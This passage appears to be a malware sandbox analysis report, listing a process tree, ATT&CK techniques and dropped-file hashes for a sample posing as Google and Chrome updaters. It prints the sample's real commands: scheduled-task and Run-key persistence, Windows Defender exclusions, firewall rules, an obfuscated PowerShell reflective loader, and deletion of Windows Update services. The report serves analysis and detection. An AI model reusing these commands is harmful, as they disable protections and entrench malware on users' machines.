        powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:10152
    - - C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        5⤵
        Drops file in Windows directory
        
        PID:11848
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:11860
      - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
        6⤵
        
        PID:12212
  - - C:\Users\Admin\AppData\Local\Microsoft\chrome.exe
      "C:\Users\Admin\AppData\Local\Microsoft\chrome.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Drops file in Windows directory
      Suspicious use of WriteProcessMemory
      PID:5232
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5516
    - - C:\Windows\SysWOW64\SCHTASKS.exe
        
        SCHTASKS /Create /TR "C:\Users\Admin\AppData\Local\Microsoft\chrome.exe" /TN "GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe}" /SC ONLOGON /F /RL HIGHEST
        5⤵
        Creates scheduled task(s)
        
        PID:5528
    - - C:\Windows\SysWOW64\SCHTASKS.exe
        
        SCHTASKS /Create /TR "C:\Users\Admin\AppData\Local\Microsoft\chrome.exe" /TN "GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5}" /SC HOURLY /F /MO 1 /RL HIGHEST
        5⤵
        Creates scheduled task(s)
        
        PID:5732
    - - C:\Windows\GoogleUpdate.exe
        
        C:\Windows\GoogleUpdate.exe
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:5788
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Windows\GoogleUpdate.exe" "Google Updater" ENABLE ALL
        6⤵
        Modifies Windows Firewall
        
        PID:6608
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall firewall add rule name="Google Updater" dir=in action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:6624
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall firewall add rule name="Google Updater" dir=out action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:6640
  - - C:\Users\Admin\AppData\Local\Microsoft\ofg.exe
      "C:\Users\Admin\AppData\Local\Microsoft\ofg.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5292
    - - C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /C schtasks /create /tn \2h4dfns5mt /tr "C:\Users\Admin\AppData\Roaming\2h4dfns5mt\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:5364
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn \2h4dfns5mt /tr "C:\Users\Admin\AppData\Roaming\2h4dfns5mt\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
        6⤵
        Creates scheduled task(s)
        
        PID:5440

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
PID:3972

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
1⤵
PID:4084

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s CDPSvc
1⤵
PID:3652

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4016
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 4016 -s 784
  2⤵
  - Program crash
  - Suspicious behavior: EnumeratesProcesses
  PID:13460

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3692
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 3692 -s 900
  2⤵
  - Program crash
  - Suspicious behavior: EnumeratesProcesses
  PID:13448
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 3692 -s 880
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  - Program crash
  PID:17196

c:\windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
1⤵
PID:2704

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2668

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
PID:2648

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s CryptSvc
1⤵
PID:2616

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Modifies data under HKEY_USERS
PID:2608

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2572

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent
1⤵
PID:2460

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
1⤵
PID:2440

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2412

c:\windows\system32\sihost.exe
sihost.exe
1⤵
PID:2380

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc
1⤵
PID:2180

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation
1⤵
PID:1712

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s StateRepository
1⤵
PID:1904

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1768

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1744

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s netprofm
1⤵
PID:1732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1680

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s NlaSvc
1⤵
PID:1564

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder
1⤵
PID:1512

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s FontCache
1⤵
PID:1504

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1424

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp
1⤵
PID:1396

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s nsi
1⤵
PID:1304

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1236

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s EventSystem
1⤵
PID:1176

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog
1⤵
PID:1120

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
PID:1068
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:12024
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:12080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:12044
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  PID:12320
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:14236
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:14248
- - C:\Windows\system32\cmd.exe
    cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:15004
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:15044
  - - C:\Windows\system32\sc.exe
      sc stop UsoSvc
      4⤵
      Launches sc.exe
      PID:15252
  - - C:\Windows\system32\sc.exe
      sc stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:15412
  - - C:\Windows\system32\sc.exe
      sc stop wuauserv
      4⤵
      Launches sc.exe
      PID:15444
  - - C:\Windows\system32\sc.exe
      sc stop bits
      4⤵
      Launches sc.exe
      PID:15512
  - - C:\Windows\system32\sc.exe
      sc stop dosvc
      4⤵
      Launches sc.exe
      PID:15712
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
      4⤵
      PID:16092
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
      4⤵
      PID:16128
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
      4⤵
      PID:16432
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
      4⤵
      PID:16728
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
      4⤵
      PID:16768
- - C:\Windows\system32\cmd.exe
    cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
    3⤵
    PID:15016
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:15052
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -hibernate-timeout-ac 0
      4⤵
      PID:15324
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -hibernate-timeout-dc 0
      4⤵
      PID:15388
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -standby-timeout-ac 0
      4⤵
      PID:15500
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -standby-timeout-dc 0
      4⤵
      PID:15612
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:15032
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:15060
- - C:\Windows\system32\dialer.exe
    C:\Windows\system32\dialer.exe xtrjicqmdliu
    3⤵
    PID:16956
  - - C:\Windows\system32\cmd.exe
      cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
      4⤵
      Drops file in Program Files directory
      PID:16996
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:17020
- - C:\Windows\system32\cmd.exe
    cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
    3⤵
    - Drops file in Program Files directory
    PID:16968
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:17008
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic PATH Win32_VideoController GET Name, VideoProcessor
      4⤵
      PID:17092
- - C:\Windows\system32\dialer.exe
    C:\Windows\system32\dialer.exe wvhbfinhdckusjju 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZeXwQ/O4+due3etuok0KCy6TAeBBK2Zj7dzTkc9P7Txuspl/ztFHeT1vDsXwtgxIFZnxGXI+P7h6Wy2BaqsXFRrbRIyylpVUfDVtjurLuTI6hfYZYlaT2c8T3z2D8KilAioXHHI3GdcX8L+5AQJHhaF3EikxjkII2qRl4IAJt0ne1Kthho/EoWoWqiJ8V46anYGIeeueaKL6G4gUS0jG8bW+uOPYpliibsIQvftJQy3GdQNbdmaQoQosbMtF/zsQIOPYtzoBcdM/sdKVWCIsST/Py6kltT+qpekCzJYBFF4LST+8+EmmopPFkm4CPe5KhMiY/+g/sQ7d50uqIjFwwoHwsdnFS1l7B7kznzCIpeqO/4VPcOjXZ8D/gqWFx/7uyyvuxXByWtdfg2SHIbTo9ax767hx8DEZJobkKiCLCF5s3S9KZPJ6oc8SVkEHvmPn3ocLOCMVNSrrmyVksnNDnuU8b1vWVxnieD7xm0UnpffWA=
    3⤵
    PID:17204
- C:\Users\Admin\AppData\Roaming\2h4dfns5mt\svcupdater.exe
  C:\Users\Admin\AppData\Roaming\2h4dfns5mt\svcupdater.exe
  2⤵
  - Executes dropped EXE
  PID:14084

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService
1⤵
PID:888

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts
1⤵
PID:512

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s LSM
1⤵
PID:916

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay
1⤵
PID:744

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:13332

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
2.8MB

MD5
eb27bb8cfa99d659e4fe023e9002ecd1

SHA1
c783400302fdfae0518269c5a5a8d4bad29f42a3

SHA256
9c01d90543458567c4737731ee6754cc209e4bb78ff648eb75c4d23be261ef2f

SHA512
ab5ad3c094ed1f094aa82d80d298e6d0ab15a94b58b007dbe8a6219fe8498569b5d9013d770bd9910f177f94f2639d84650655e8f60113051e98b386c49c36a2

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
2.8MB

MD5
eb27bb8cfa99d659e4fe023e9002ecd1

SHA1
c783400302fdfae0518269c5a5a8d4bad29f42a3

SHA256
9c01d90543458567c4737731ee6754cc209e4bb78ff648eb75c4d23be261ef2f

SHA512
ab5ad3c094ed1f094aa82d80d298e6d0ab15a94b58b007dbe8a6219fe8498569b5d9013d770bd9910f177f94f2639d84650655e8f60113051e98b386c49c36a2

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WERE87B.tmp.csv

Filesize
31KB

MD5
9c4e110de44866acf9b4ee267a5599f5

SHA1
2f151d44c2c9db25d9fdc07a467109eb9576f1fd

SHA256
06e38aed92021d745df94f95b4c01210f89c2baba463d0055f4f838ca2b58d4c

SHA512
9c6e3e7c1f9a3837207d6fda3515c41ace79662fa44e071af677c62b26155b6174b9c67db8252098101d6f74ebf8862a8957104de015ba0391d1939c6096b976

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WERE909.tmp.txt

Filesize
12KB

MD5
a225aa7dbf256124250b8fa976368c84

SHA1
945a54350e50352d35ecb2bb5118c2b118d28c40

SHA256
b90cd6e83593579622bfa0c093fd9c02b2059ed1b4e593445253cc5c884b9b51

SHA512
099462fa8cbfd1978d75246fddf7122584de619a56b0251ca9de396061da9d4629d6e2d3aa868c42c01efa9260249a056445720b66ba5a154a7f20befb16ef9d

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WEREAEE.tmp.csv

Filesize
30KB

MD5
a5a9255a5ef54b88009a8b493f3f4651

SHA1
6b2e85b886de66d1243c4889d4e816ea4963e504

SHA256
dcbf284ed543a34630f6aafbe10284587d69d0cd84aab8ec60eb2c836f2fb1bd

SHA512
8db5d36d1cf7ff8d6096c05b33a4a99314b0f7554adc2156e59c3a8f1c2d4b66030cda4b96fd7e186e77d20a2447e8695e8ecac46c6d7979190f863316ada5a7

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WEREB2E.tmp.txt

Filesize
12KB

MD5
36d250398c50ce2d8846d09c88303307

SHA1
b8ebd2fb6d345b01280a0efebca099a900645278

SHA256
aeb25a204c325b87d5756d16a700ee430df5bc02688f9b230505efefd267f09a

SHA512
20bb8965b6cda05e90b2a2bc127a00ad8f2828e8cf7f771f07b7d2e3ae582fb65ad44a95650d1ac7a389146fec1128f8bd7fd28569832560ae53442f68a10257

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Filesize
340B

MD5
19bb4e88d3252deeb1ba8834383e6172

SHA1
56883a52c578dc58bfde0caf023f7970a061dceb

SHA256
091926f5f0e29c83040d17a5a00545723f4ad375596271e5e2bc67f5bf3914d8

SHA512
246ecd5c5a00a1faae7d273ea342843e4f685ebf84aeffc41228beff315a51c0ca693c97577e8ebbb061224ef5800758344c1da4b040650b15618d68c7f14a5f

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27

Filesize
438B

MD5
642d91000b3fc29937fa4b4fa462b3f6

SHA1
56752ccdaa97ffabb4dd3a4d64b85393383616bd

SHA256
3323f429687ed106269e6d77363a30a778717e72aa678434e12111951ab7e6ef

SHA512
f074d55da4c1571619215446f694d7f8e602d3f4376b0252248fbd53bf5fe845110ff36c8709664d554724f75cbc1a7dd9465ff8ae2b4e29efa5a3c2a1267ad7

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9FF67FB3141440EED32363089565AE60_0ACA3509328F9CFAAE0993200F61CE00

Filesize
426B

MD5
a91764fc890367c743dc2220b868b89b

SHA1
ce5bcb240451215698990d2199ce639c4786d4f1

SHA256
90884e53c54de7ee398b5df55963b754e89aa6c527747f5fb0f65f2186bd8234

SHA512
3fa881eda3802938794c5dc0c57bcbc11c544bf99371e6b3801078e66d544d03b0473ac060b196231ef46220975e0f7e3c46c7e3c81d344d9b99f85dc3d0432d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
ad5cd538ca58cb28ede39c108acb5785

SHA1
1ae910026f3dbe90ed025e9e96ead2b5399be877

SHA256
c9e6cb04d6c893458d5a7e12eb575cf97c3172f5e312b1f63a667cbbc5f0c033

SHA512
c066c5d9b276a68fa636647bb29aea05bfa2292217bc77f5324d9c1d93117772ee8277e1f7cff91ec8d6b7c05ca078f929cecfdbb09582522a9067f54740af13

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
44KB

MD5
7247129cd0644457905b7d6bf17fd078

SHA1
dbf9139b5a1b72141f170d2eae911bbbe7e128c8

SHA256
dfa6e0d79449f29310b2a0400dc7fa5a3a6b08182233147a81902d1f80a0f8e4

SHA512
9b1ebd7fe485811f10ec02778d90a7f7eccafa0231027b640b94eaed8408107051da7fcc4f17a9aa0eef900fa2595f44be7fd115331fb6da9b10076f5fcf87e0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
3eb13da3b3c5c2f1a4569a8eeec49cef

SHA1
193779265613dd0ac97689d38470542620fae1bb

SHA256
b608fb796d6a66bb854b1e1dadfd848761368679e319c6f719060df7be1d1ee3

SHA512
01974d64d718f684ff8d2fd4481c2bfd7376c184a93d9842a83d24d4623a09d921a26d9e95ce1d6218e1315eaa137774a9be1c82480e8ea13c70c768f351cb89

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7c2733d7408adaec95d54d0918e097a6

SHA1
b3b5152e66aa8790bfd97932931c90e14f91c753

SHA256
180425c696a5d8e19f8b79275503d74e3a9440ab79849c2e07ff38d531a3e4da

SHA512
4e7ba202c1fd17c26505ac5b337842831c713a167746d28359320ef8402689dc36ef87399af00eee88ac4559e0ce61982224c2ef6a25d489dfff54e1454c7f53

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7c2733d7408adaec95d54d0918e097a6

SHA1
b3b5152e66aa8790bfd97932931c90e14f91c753

SHA256
180425c696a5d8e19f8b79275503d74e3a9440ab79849c2e07ff38d531a3e4da

SHA512
4e7ba202c1fd17c26505ac5b337842831c713a167746d28359320ef8402689dc36ef87399af00eee88ac4559e0ce61982224c2ef6a25d489dfff54e1454c7f53

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\brave.exe

Filesize
2.8MB

MD5
9253ed091d81e076a3037e12af3dc871

SHA1
ec02829a25b3bf57ad061bbe54180d0c99c76981

SHA256
78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859

SHA512
29ff2fd5f150d10b2d281a45df5b44873192605de8dc95278d6a7b5053370e4ac64a47100b13c63f3c048df351a9b51f0b93af7d922399a91508a50c152e8cf4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\brave.exe

Filesize
2.8MB

MD5
9253ed091d81e076a3037e12af3dc871

SHA1
ec02829a25b3bf57ad061bbe54180d0c99c76981

SHA256
78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859

SHA512
29ff2fd5f150d10b2d281a45df5b44873192605de8dc95278d6a7b5053370e4ac64a47100b13c63f3c048df351a9b51f0b93af7d922399a91508a50c152e8cf4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\chrome.exe

Filesize
6.8MB

MD5
73b9004ff373f3b7b2f595541deb5a02

SHA1
bbc01bab5ae8ed8db2359c3b8a81eed75db5c061

SHA256
b4a3efe944f33e75925e2d131097bbe1228b5eb34d6c24ec02bc58834443e5a7

SHA512
908c06f2efee1ce9b17b8da562920fc37c3056c733600bf82dcf9cc6d93d1fb7b9dfceefba646ac9687d8b014eb69b7c1b35b16e5565a4c55cd694475af185e4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\chrome.exe

Filesize
6.8MB

MD5
73b9004ff373f3b7b2f595541deb5a02

SHA1
bbc01bab5ae8ed8db2359c3b8a81eed75db5c061

SHA256
b4a3efe944f33e75925e2d131097bbe1228b5eb34d6c24ec02bc58834443e5a7

SHA512
